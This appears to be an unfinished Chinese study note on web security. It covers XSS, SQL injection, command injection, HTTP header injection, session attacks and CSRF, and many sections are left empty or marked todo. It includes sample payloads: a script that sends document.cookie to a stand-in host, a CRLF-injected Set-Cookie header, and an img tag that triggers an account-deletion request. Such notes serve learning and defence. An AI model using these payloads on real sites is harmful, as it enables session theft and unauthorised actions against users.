web安全
對web的攻擊可分為兩大類:
-
主動攻擊
該類攻擊是攻擊者直接對web伺服器上的資源進行攻擊,最具代表性的是SQL注入攻擊和OS攻擊及DDOS攻擊。 -
被動攻擊
攻擊者不直接對伺服器發起攻擊,事先設定好雷區,等待雷區被觸發,具有代表性的有跨站指令碼攻擊和跨站點請求偽造。
因輸出值轉義不完全引起的安全漏洞
xss 跨站指令碼攻擊
攻
Cross SiteScript,跨站指令碼攻擊,又稱css攻擊。
其核心思路就是將惡意html程式碼注入到目標網站中(如<script type="text/javascript">alert('boom!')</script>),所以經常發生在動態生成html的場景下。
攻擊成功後可以做的事情有很多,比如將cookie傳送出去,URL跳轉等。
只要有使用者輸入的地方,資料儲存時沒有對其進行處理,用到改資料的頁面都有可能受到XSS攻擊(對於script的攻擊方式,資料以直接拍到頁面的方式才會使攻擊生效,ajax請求到資料再通過mvvm框架渲染的方式是不會觸發指令碼的執行的。但,XSS攻擊不僅僅侷限於script)
XSS的危害
- 利用虛假表單騙取使用者個人資訊
- 竊取使用者cookie
拿微博舉例,如果某人發了一段包含<script>window.open(“www.aa.com?param=”+document.cookie)</script>的微博,且XSS攻擊成功,那麼看到該微博的人都會受到攻擊,其cookie被髮送至www.aa.com
防
- 對使用者輸入的<>""''/&等字元進行轉碼
- 對關鍵cookie進行http-only設定,這樣js就失去了訪問cookie的能力
SQL注入攻擊
攻
在web應用對資料庫的查詢,新增,刪除等操作環節,請求引數參與SQL語句生成,對於呼叫SQL語句的拼接環節存在疏忽,產生SQL注入攻擊。
危害
- 非法檢視無許可權資料
- 刪除資料
舉例:todo
防
todo
OS命令注入攻擊
攻
web應用可以通過shell呼叫系統命令,因此如果在呼叫時存在疏忽,就有可能執行了不被期望的OS命令。
危害
防
http首部注入攻擊
%0D%0A代表HTTP報文中的換行符。比如在響應頭中的Location:www.a.com/aa?id=999
新增為Location:www.a.com/aa?id=999%0D%0ASet-Cookie: xxxx
,那麼就會多出一個set-cookie響應頭。此外,連續出現兩次%0D%0標誌著http頭部與主體的分離,同樣可以利用這個來修改響應主體。
攻
指的是攻擊者通過在響應頭部欄位中插入換行,新增任意響應首部的一種攻擊
危害
- 設定任意cookie(利用Set-Cookie頭)
- 重定向至任意url(location頭)(如果status為200但是有location會怎麼樣)
防
因設定和設計上的缺陷引發的安全漏洞
強制瀏覽
攻
危害
防
不當的錯誤訊息處理
攻
危害
防
開放重定向
攻
危害
防
因會話管理疏忽引起的安全漏洞
會話劫持
攻
通過手段拿到使用者的會話id並以此id偽裝為使用者de攻擊。
危害
防
會話固定攻擊
攻
危害
防
跨站點請求偽造CSRF(cross-site request Forgery)
攻
指攻擊者通過事先設定好的陷阱,在使用者不知道的情況下發起對某些站點的請求,從而達到修改使用者在目標網站裡的資料的攻擊。
如在a.com裡有個<img src="b.com/account/delete" />的標籤,此時使用者訪問a站點時就向b發起了delete請求,假設該介面就是b站點的刪除帳號api,且b使用者恰恰剛訪問了b站點不久,還存有未過期的cookie,那就慘了。
危害
- 修改使用者在目標站點的資料。
-
-
防
- 保護好cookie
- 伺服器判斷referer